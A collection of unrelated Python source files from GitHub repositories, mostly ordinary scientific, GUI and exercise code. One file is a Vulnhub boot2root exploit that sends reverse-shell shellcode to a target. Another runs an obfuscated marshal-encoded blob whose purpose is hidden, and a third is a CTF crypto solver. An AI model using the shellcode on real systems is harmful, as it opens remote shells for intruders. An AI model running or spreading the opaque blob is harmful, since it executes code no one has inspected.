def1076a68fc0af0cb6c442cfc87a51628833c4b | 2,208 | py | Python | Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/plugins/common/wxgui.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 4 | 2020-11-13T02:35:56.000Z | 2021-03-29T20:15:54.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/plugins/common/wxgui.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 9 | 2020-12-09T02:12:39.000Z | 2021-02-18T00:15:28.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/plugins/common/wxgui.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 1 | 2020-11-20T19:31:26.000Z | 2020-11-20T19:31:26.000Z | # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo
# Copyright (C) 2016-2020 German Aerospace Center (DLR) and others.
# SUMOPy module
# Copyright (C) 2012-2017 University of Bologna - DICAM
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public ... | 34.5 | 88 | 0.680254 |
a0479f6b98b80bb17f7cc711ba85b008789f26f5 | 5,999 | py | Python | src/net/caption_generator/attention_caption_net_mod.py | 0shimax/chainer-caption-generator | 56f9d2984c245bc75787c4d4e1593e302fbf84b0 | [
"MIT"
] | null | null | null | src/net/caption_generator/attention_caption_net_mod.py | 0shimax/chainer-caption-generator | 56f9d2984c245bc75787c4d4e1593e302fbf84b0 | [
"MIT"
] | null | null | null | src/net/caption_generator/attention_caption_net_mod.py | 0shimax/chainer-caption-generator | 56f9d2984c245bc75787c4d4e1593e302fbf84b0 | [
"MIT"
] | null | null | null | import sys
sys.path.append('./src/common/linker')
sys.path.append('./src/caption_generator')
import chainer
import chainer.functions as F
import chainer.links as L
from chainer import Variable
from attention import Attention
from mod_lstm import ModLSTM
class Fire(chainer.Chain):
def __init__(self, in_size, s1, e... | 36.138554 | 117 | 0.6026 |
a0b7373c537199734de5a11d79043a6aec1cd796 | 572 | py | Python | Boot2Root/vulnhub/Pinkys-Palace-v2/scripts/final-exploit.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | 21 | 2016-02-06T14:30:01.000Z | 2020-09-11T05:39:17.000Z | Boot2Root/vulnhub/Pinkys-Palace-v2/scripts/final-exploit.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | null | null | null | Boot2Root/vulnhub/Pinkys-Palace-v2/scripts/final-exploit.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | 7 | 2017-02-02T16:27:02.000Z | 2021-04-30T17:14:53.000Z | from pwn import *
HOST, PORT = "pinkydb", 31337
# Shellcode
buf = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5f\x52\xc7\x44\x24\x04\xc0\xa8\x01\x10\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x6... | 24.869565 | 308 | 0.704545 |
3e19fd61e6618ca56316f0e18f6776a5db59f87c | 1,812 | py | Python | codeit/oop/single_response_principle/ship_god_class.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | codeit/oop/single_response_principle/ship_god_class.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | codeit/oop/single_response_principle/ship_god_class.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | class Ship:
"""배 클래스"""
def __init__(self, fuel, fuel_per_hour, supplies, num_crew):
"""
:param fuel: 연료량
:param fuel_per_hour: 시간당 연료 소비량
:param supplies: 물자량
:param num_crew: 선원 수
"""
self.fuel = fuel
self.fuel_per_hour = fuel_per_hour
se... | 25.521127 | 64 | 0.56457 |
e448ab5ad071a1d6eb700d2921487de6d33eef7a | 66,959 | py | Python | plotting/scripts/plot_etgm_paper.py | metxchris/MMM-Explorer | 251b4d7af56241882611bc47e94ec2923e4be8da | [
"MIT"
] | null | null | null | plotting/scripts/plot_etgm_paper.py | metxchris/MMM-Explorer | 251b4d7af56241882611bc47e94ec2923e4be8da | [
"MIT"
] | null | null | null | plotting/scripts/plot_etgm_paper.py | metxchris/MMM-Explorer | 251b4d7af56241882611bc47e94ec2923e4be8da | [
"MIT"
] | null | null | null | #!/usr/bin/python3
"""General non-automated plotting for the ETGM paper"""
# Standard Packages
import sys; sys.path.insert(0, '../'), sys.path.insert(0, '../../')
import logging
import io
# 3rd Party Packages
import matplotlib.pyplot as plt
import numpy as np
from PyQt5.QtGui import QImage
from PyQt5.QtWidgets impo... | 64.945684 | 149 | 0.588315 |
5fb2f94686ecee4fc5f92bc2a1a211129aabe5c8 | 75 | py | Python | Python/M01_ProgrammingBasics/L04_ForLoop/Exercises/Solutions/P01_NumbersEndingIn7.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | null | null | null | Python/M01_ProgrammingBasics/L04_ForLoop/Exercises/Solutions/P01_NumbersEndingIn7.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | null | null | null | Python/M01_ProgrammingBasics/L04_ForLoop/Exercises/Solutions/P01_NumbersEndingIn7.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | 1 | 2022-02-23T13:03:14.000Z | 2022-02-23T13:03:14.000Z | for number in range(0,1000):
if number % 10 == 7:
print(number) | 25 | 28 | 0.573333 |
39edfae3ff175069a3192d7f038caaa985cdb4df | 640 | py | Python | challenges/isDigit/python3/isDigit.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 5 | 2020-05-21T03:02:34.000Z | 2021-09-06T04:24:26.000Z | challenges/isDigit/python3/isDigit.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 6 | 2019-04-24T03:39:26.000Z | 2019-05-03T02:10:59.000Z | challenges/isDigit/python3/isDigit.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 1 | 2021-09-06T04:24:27.000Z | 2021-09-06T04:24:27.000Z | def isDigit(symbol):
return symbol >= '0' and symbol <= '9'
if __name__ == '__main__':
input0 = ["0", "-", "O", "1", "2", "!", "@", "+", "6", "(", ")"]
expectedOutput = [True, False, False, True, True, False, False, False, True, False, False]
assert len(input0) == len(expectedOutput), '# input0 = {}, # expectedOut... | 58.181818 | 123 | 0.6375 |
f24177d19970fa94029ad3676fb93e0b8cd42c49 | 1,989 | py | Python | ppyt/commands/show.py | yusukemurayama/ppytrading | 9804d0de870d77bf8a1c847736a636b1342d4600 | [
"MIT"
] | 4 | 2016-08-16T07:47:15.000Z | 2017-12-11T10:08:47.000Z | ppyt/commands/show.py | yusukemurayama/ppytrading | 9804d0de870d77bf8a1c847736a636b1342d4600 | [
"MIT"
] | null | null | null | ppyt/commands/show.py | yusukemurayama/ppytrading | 9804d0de870d77bf8a1c847736a636b1342d4600 | [
"MIT"
] | 2 | 2018-06-15T04:43:15.000Z | 2020-05-02T07:47:15.000Z | # coding: utf-8
import logging
import os
from ppyt.commands import CommandBase
from ppyt.models.orm import start_session, Sector, Stock
logger = logging.getLogger(__name__)
plogger = logging.getLogger('print')
class Command(CommandBase):
"""各種情報を表示するコマンドです。"""
MODES = ( # これらをshowのあとに入力することで、処理モードが切り替わります。... | 31.078125 | 88 | 0.567622 |
f2b898919f2fccf7bf9c0f69be0e4e44516c7901 | 1,749 | py | Python | research/cv/AttentionCluster/src/utils/callback.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/AttentionCluster/src/utils/callback.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/AttentionCluster/src/utils/callback.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 38.021739 | 95 | 0.662093 |
4b33b7590e06f3713e44014ad15639a36179731e | 4,134 | py | Python | python/fleetx/utils/barrier_server_pb2.py | hutuxian/FleetX | 843c7aa33f5a14680becf058a3aaf0327eefafd4 | [
"Apache-2.0"
] | 170 | 2020-08-12T12:07:01.000Z | 2022-03-07T02:38:26.000Z | python/fleetx/utils/barrier_server_pb2.py | hutuxian/FleetX | 843c7aa33f5a14680becf058a3aaf0327eefafd4 | [
"Apache-2.0"
] | 195 | 2020-08-13T03:22:15.000Z | 2022-03-30T07:40:25.000Z | python/fleetx/utils/barrier_server_pb2.py | hutuxian/FleetX | 843c7aa33f5a14680becf058a3aaf0327eefafd4 | [
"Apache-2.0"
] | 67 | 2020-08-14T02:07:46.000Z | 2022-03-28T10:05:33.000Z | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: barrier_server.proto
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _s... | 27.56 | 439 | 0.739961 |
d9be0b83fb5db207aa5a8b81a0c1b8d30c7be351 | 7,383 | py | Python | frontmark/reader.py | lextoumbourou/pelican-frontmark | d68003a34c952089df6d653a79ba31388619b69e | [
"MIT"
] | null | null | null | frontmark/reader.py | lextoumbourou/pelican-frontmark | d68003a34c952089df6d653a79ba31388619b69e | [
"MIT"
] | null | null | null | frontmark/reader.py | lextoumbourou/pelican-frontmark | d68003a34c952089df6d653a79ba31388619b69e | [
"MIT"
] | null | null | null | import collections
import logging
import re
try:
import commonmark
from commonmark.common import escape_xml
from commonmark.render.html import potentially_unsafe
except ImportError: # pragma: no cover
commonmark = False
from markdown import Markdown
try:
import yaml
except ImportError: # pragma... | 32.668142 | 100 | 0.608696 |
8a432cda81e51f15a28be1e4aa67da91ead1dbf4 | 570 | py | Python | sys/1/sql.py | wittrup/crap | a77474588fd54a5a998e24df7b1e6e2ab473ded1 | [
"MIT"
] | 1 | 2017-12-12T13:58:08.000Z | 2017-12-12T13:58:08.000Z | sys/1/sql.py | wittrup/crap | a77474588fd54a5a998e24df7b1e6e2ab473ded1 | [
"MIT"
] | null | null | null | sys/1/sql.py | wittrup/crap | a77474588fd54a5a998e24df7b1e6e2ab473ded1 | [
"MIT"
] | 1 | 2019-11-03T10:16:35.000Z | 2019-11-03T10:16:35.000Z | from urllib.parse import quote
m = [l.strip() for l in open("../ignore/sys_1_misc.txt").readlines()]
o = m[6].split()
l = ['1', '2', '3', '5', '7', '9', '13', '14', '15', '126', '105']
x = []
for i in l:
x.append(o[int(i)-1])
print(x)
n = quote(m[7])
suffix = quote(m[8])
for p,i in enumerate(x):
next = quot... | 21.111111 | 69 | 0.498246 |
6ada258dc5fb9e8ac1089558ef5351727f215b65 | 61,276 | py | Python | oldcr3k.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | oldcr3k.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | oldcr3k.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | #EBCRYPTED BY MR. ERROR
#HEHEHE 69
import marshal
exec(marshal.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s/W\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x0... | 10,212.666667 | 61,224 | 0.749412 |
7c587d87438506437d65ad1a3dd131cbbb96e411 | 1,119 | py | Python | PMIa/2014/VINOGRADOVA_J_S/task_5_48.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | PMIa/2014/VINOGRADOVA_J_S/task_5_48.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | PMIa/2014/VINOGRADOVA_J_S/task_5_48.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 5. Вариант 48.
# Напишите программу, которая бы при запуске случайным образом отображала
# название одного из восьми категорий, на которые разделяются дорожные знаки в
# соответствии с Венской конвенцией о дорожных знаках и сигналах.
# Vinogradova J.
# 31.03.2016
import random
print("Программа сл... | 31.083333 | 187 | 0.7042 |
ed0490f18629880d3582cc000604f91c09754a45 | 277 | py | Python | exercises/zh/solution_02_05_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/zh/solution_02_05_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/zh/solution_02_05_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | from spacy.lang.en import English
nlp = English()
# 导入Doc类
from spacy.tokens import Doc
# 目标文本:"spaCy is cool!"
words = ["spaCy", "is", "cool", "!"]
spaces = [True, True, False, False]
# 用words和spaces创建一个Doc
doc = Doc(nlp.vocab, words=words, spaces=spaces)
print(doc.text)
| 18.466667 | 48 | 0.689531 |
9c3ee694d7bc833fa4ef5be2dc45169a508cf5f8 | 6,141 | py | Python | official/cv/efficientnet/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 1 | 2021-11-18T08:17:44.000Z | 2021-11-18T08:17:44.000Z | official/cv/efficientnet/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | null | null | null | official/cv/efficientnet/src/dataset.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 2 | 2019-09-01T06:17:04.000Z | 2019-10-04T08:39:45.000Z | # Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 43.246479 | 108 | 0.641101 |
9c83ad2ceb62ef04293629e1e5726b8a61f894ad | 473 | py | Python | R3/blink_all.py | DockerComposeFiles/Arm_2 | b5888fe62edd6450da4139de02e145513a078697 | [
"MIT"
] | null | null | null | R3/blink_all.py | DockerComposeFiles/Arm_2 | b5888fe62edd6450da4139de02e145513a078697 | [
"MIT"
] | null | null | null | R3/blink_all.py | DockerComposeFiles/Arm_2 | b5888fe62edd6450da4139de02e145513a078697 | [
"MIT"
] | null | null | null | #!/usr/bin/python
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BCM)
GPIO.setup(17, GPIO.OUT)
GPIO.setup(27, GPIO.OUT)
GPIO.setup(22, GPIO.OUT)
GPIO.setup(23, GPIO.OUT)
GPIO.setup(25, GPIO.OUT)
GPIO.setup(8, GPIO.OUT)
GPIO.setup(7, GPIO.OUT)
GPIO.setup(16, GPIO.OUT)
GPIO.setup(20, GPIO.OUT)
GPIO.setup(21, GPIO... | 18.92 | 47 | 0.674419 |
b9b07cda932a637edb7f0104306fd05b747455cb | 519 | py | Python | pacman-arch/test/pacman/tests/hook-pkg-postinstall-trigger-match.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/hook-pkg-postinstall-trigger-match.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/hook-pkg-postinstall-trigger-match.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "Install a package matching a PostTransaction Install hook"
self.add_script("hook-script", ": > hook-output")
self.add_hook("hook",
"""
[Trigger]
Type = Package
Operation = Install
Target = foo
[Action]
When = PostTransaction
Exec = bi... | 21.625 | 78 | 0.618497 |
6a0fcbb61367047a8990371a6987c2063189f5ae | 299 | py | Python | 2017/03/anim-famine-60min-20170324/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 14 | 2015-05-08T13:41:51.000Z | 2021-02-24T12:34:55.000Z | 2017/03/anim-famine-60min-20170324/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | null | null | null | 2017/03/anim-famine-60min-20170324/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 7 | 2015-04-04T04:45:54.000Z | 2021-02-18T11:12:48.000Z | #!/usr/bin/env python
import base_filters
COPY_GOOGLE_DOC_KEY = '1hGaPpeqtGrHxTAj7cNEkpiMqO1Kj-WCJzZspDaywkgk'
USE_ASSETS = True
# Use these variables to override the default cache timeouts for this graphic
DEFAULT_MAX_AGE = 20
ASSETS_MAX_AGE = 20
JINJA_FILTER_FUNCTIONS = base_filters.FILTERS
| 21.357143 | 77 | 0.826087 |
e07922db1694fdeb131f85be4bd3568ad4538ff7 | 1,050 | py | Python | algorithm/priority_queue.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | algorithm/priority_queue.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | algorithm/priority_queue.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | class PriorityQueue(object):
def __init__(self):
self.queue = []
def __str__(self):
return ' '.join([str(i) for i in self.queue])
# for checking if the queue is empty
def isEmpty(self):
return len(self.queue) == 0
# for inserting an element in the queue
def push(self, ... | 25 | 53 | 0.545714 |
1637422dd9c3e245e9a9bde153d0ddbc4a5c3dd4 | 525 | py | Python | Programming Languages/Python/Theory/100_Python_Challenges/Section _1_Basic_Coding_Exercises/17. prime number.py | jaswinder9051998/Resources | fd468af37bf24ca57555d153ee64693c018e822e | [
"MIT"
] | 101 | 2021-12-20T11:57:11.000Z | 2022-03-23T09:49:13.000Z | Programming Languages/Python/Theory/100_Python_Challenges/Section _1_Basic_Coding_Exercises/17. prime number.py | Sid-1164/Resources | 3987dcaeddc8825f9bc79609ff26094282b8ece1 | [
"MIT"
] | 4 | 2022-01-12T11:55:56.000Z | 2022-02-12T04:53:33.000Z | Programming Languages/Python/Theory/100_Python_Challenges/Section _1_Basic_Coding_Exercises/17. prime number.py | Sid-1164/Resources | 3987dcaeddc8825f9bc79609ff26094282b8ece1 | [
"MIT"
] | 38 | 2022-01-12T11:56:16.000Z | 2022-03-23T10:07:52.000Z | """
Write a function that accepts a number and returns True if the number is a prime number else returns False.
A prime number is an integer which cannot be divided evenly by any integer except 1 and itself.
You may assume that n is a non-negative integer.
"""
def prime_num(num):
if num > 1:
flag = Fal... | 22.826087 | 108 | 0.567619 |
168627a0ec51d8abf510c640ea8806a71013a245 | 1,181 | py | Python | retro/cores/gba/src/platform/python/mgba/log.py | MatPoliquin/retro | c70c174a9818d1e97bc36e61abb4694d28fc68e1 | [
"MIT-0",
"MIT"
] | 2,706 | 2018-04-05T18:28:50.000Z | 2022-03-29T16:56:59.000Z | retro/cores/gba/src/platform/python/mgba/log.py | MatPoliquin/retro | c70c174a9818d1e97bc36e61abb4694d28fc68e1 | [
"MIT-0",
"MIT"
] | 242 | 2018-04-05T22:30:42.000Z | 2022-03-19T01:55:11.000Z | retro/cores/gba/src/platform/python/mgba/log.py | MatPoliquin/retro | c70c174a9818d1e97bc36e61abb4694d28fc68e1 | [
"MIT-0",
"MIT"
] | 464 | 2018-04-05T19:10:34.000Z | 2022-03-28T13:33:32.000Z | # Copyright (c) 2013-2016 Jeffrey Pfau
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
from ._pylib import ffi, lib
from . import createCallback
createCallback("mLogg... | 28.804878 | 78 | 0.699407 |
1697127b2ccff7379b7b1d9db87fbc8f149ed5cf | 462 | py | Python | source/pkgsrc/graphics/py-strich/patches/patch-pystrich_qrcode_test__qrcode.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-11-20T22:46:39.000Z | 2021-11-20T22:46:39.000Z | source/pkgsrc/graphics/py-strich/patches/patch-pystrich_qrcode_test__qrcode.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | source/pkgsrc/graphics/py-strich/patches/patch-pystrich_qrcode_test__qrcode.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | $NetBSD: patch-pystrich_qrcode_test__qrcode.py,v 1.1 2017/10/23 13:38:41 joerg Exp $
--- pystrich/qrcode/test_qrcode.py.orig 2015-07-19 21:44:27.000000000 +0000
+++ pystrich/qrcode/test_qrcode.py
@@ -34,6 +34,7 @@ class QRTest(unittest.TestCase):
def test_against_generated(self):
"""Compare the output ... | 35.538462 | 84 | 0.686147 |
16f060922eca578b2775f2edc14aa4543dd857f4 | 1,040 | py | Python | INBa/2014/Mamedov_R_A/Mamedov 7_12.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | INBa/2014/Mamedov_R_A/Mamedov 7_12.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | INBa/2014/Mamedov_R_A/Mamedov 7_12.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 7, Вариант 12
# Разработайте систему начисления очков для задачи 6, в соответствии с которой игрок получал бы большее количество баллов за меньшее количество попыток.
# Мамедов Р.А.
# 30.03.2016
import random
print ('Отгадайте название одного из соборов Московского кремля ')
def get_random_sobor():
sobor... | 33.548387 | 152 | 0.732692 |
bc52321b0fdc0319a31f8e62c92991587f20cc0a | 223 | py | Python | data_tests/saved__backend__py3.9/numba/no_arg.py | fluiddyn/transonic | a460e9f6d1139f79b668cb3306d1e8a7e190b72d | [
"BSD-3-Clause"
] | 88 | 2019-01-08T16:39:08.000Z | 2022-02-06T14:19:23.000Z | data_tests/saved__backend__/numba/no_arg.py | fluiddyn/transonic | a460e9f6d1139f79b668cb3306d1e8a7e190b72d | [
"BSD-3-Clause"
] | 13 | 2019-06-20T15:53:10.000Z | 2021-02-09T11:03:29.000Z | data_tests/saved__backend__py3.9/numba/no_arg.py | fluiddyn/transonic | a460e9f6d1139f79b668cb3306d1e8a7e190b72d | [
"BSD-3-Clause"
] | 1 | 2019-11-05T03:03:14.000Z | 2019-11-05T03:03:14.000Z | # __protected__ from numba import njit
# __protected__ @njit(cache=True, fastmath=True)
def func():
return 1
# __protected__ @njit(cache=True, fastmath=True)
def func2():
return 1
__transonic__ = ("0.4.7",)
| 13.117647 | 48 | 0.686099 |
bc57f9765bf247272c15c932eb319efff6c73566 | 2,499 | py | Python | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/multimodal/base.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 5 | 2022-01-30T07:35:58.000Z | 2022-02-08T05:45:20.000Z | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/multimodal/base.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 1 | 2022-01-14T02:33:28.000Z | 2022-01-14T02:33:28.000Z | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/multimodal/base.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 1 | 2022-01-24T16:27:01.000Z | 2022-01-24T16:27:01.000Z | from abc import abstractmethod
from ... import builder
import paddle.nn as nn
class BaseMultimodal(nn.Layer):
"""Base class for Multimodal.
All Multimodal model should subclass it.
All subclass should overwrite:
- Methods:``train_step``, supporting to forward when training.
- Methods:``valid_ste... | 30.47561 | 94 | 0.597439 |
bcec8ec05a039ec5f7baf8b7f6be7de21c68ceca | 820 | py | Python | Python/Sonstige_Uebungen/fractal_like/octagon_fractal_turtle.py | Apop85/Scripts | e71e1c18539e67543e3509c424c7f2d6528da654 | [
"MIT"
] | null | null | null | Python/Sonstige_Uebungen/fractal_like/octagon_fractal_turtle.py | Apop85/Scripts | e71e1c18539e67543e3509c424c7f2d6528da654 | [
"MIT"
] | 6 | 2020-12-24T15:15:09.000Z | 2022-01-13T01:58:35.000Z | Python/Sonstige_Uebungen/fractal_like/octagon_fractal_turtle.py | Apop85/Scripts | 1d8dad316c55e1f1343526eac9e4b3d0909e4873 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding:utf-8 -*-
###
# File: octagon_fractal_turtle.py
# Project: Sonstige_Uebungen
# Created Date: Thursday 28.02.2019, 12:40
# Author: Apop85
# -----
# Last Modified: Friday 01.03.2019, 12:34
# -----
# Copyright (c) 2019 Apop85
# This software is published under the MIT license.
# Check h... | 19.52381 | 71 | 0.628049 |
fc142256d75a2af01d42100c4300279c12701421 | 445 | py | Python | Advanced/CodeProfile/foo_ex.py | BALAVIGNESHDOSTRIX/pyexpert | 300498f66a3a4f6b3060d51b3d6643d8e63cf746 | [
"CC0-1.0"
] | null | null | null | Advanced/CodeProfile/foo_ex.py | BALAVIGNESHDOSTRIX/pyexpert | 300498f66a3a4f6b3060d51b3d6643d8e63cf746 | [
"CC0-1.0"
] | null | null | null | Advanced/CodeProfile/foo_ex.py | BALAVIGNESHDOSTRIX/pyexpert | 300498f66a3a4f6b3060d51b3d6643d8e63cf746 | [
"CC0-1.0"
] | null | null | null | ####################################
# Author: "BALAVIGNESH" #
# Maintainer: "BALAVIGNESH" #
# License: "CC0 1.0 Universal" #
# Date: "25/04/2021" #
####################################
from logger import log
class Foo(object):
def __init__(self) -> None:
pass
... | 19.347826 | 36 | 0.422472 |
fc591714a327a1044eb7e43872031495b5c0d20c | 3,403 | py | Python | crypto/crypto-randompad/solve.py | NoXLaw/RaRCTF2021-Challenges-Public | 1a1b094359b88f8ebbc83a6b26d27ffb2602458f | [
"MIT"
] | 2 | 2021-08-09T17:08:12.000Z | 2021-08-09T17:08:17.000Z | crypto/crypto-randompad/solve.py | NoXLaw/RaRCTF2021-Challenges-Public | 1a1b094359b88f8ebbc83a6b26d27ffb2602458f | [
"MIT"
] | null | null | null | crypto/crypto-randompad/solve.py | NoXLaw/RaRCTF2021-Challenges-Public | 1a1b094359b88f8ebbc83a6b26d27ffb2602458f | [
"MIT"
] | 1 | 2021-10-09T16:51:56.000Z | 2021-10-09T16:51:56.000Z | ## Warning, this is bad code and extremely messy
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
from mt19937predictor import MT19937Predictor
from gmpy2 import iroot
s = remote(sys.argv[1],int(sys.argv[2]))
s.recvline()
e = 3
n = int(s.recvline().decode().split(": ")[1])
rng = MT19937Pr... | 55.786885 | 235 | 0.377902 |
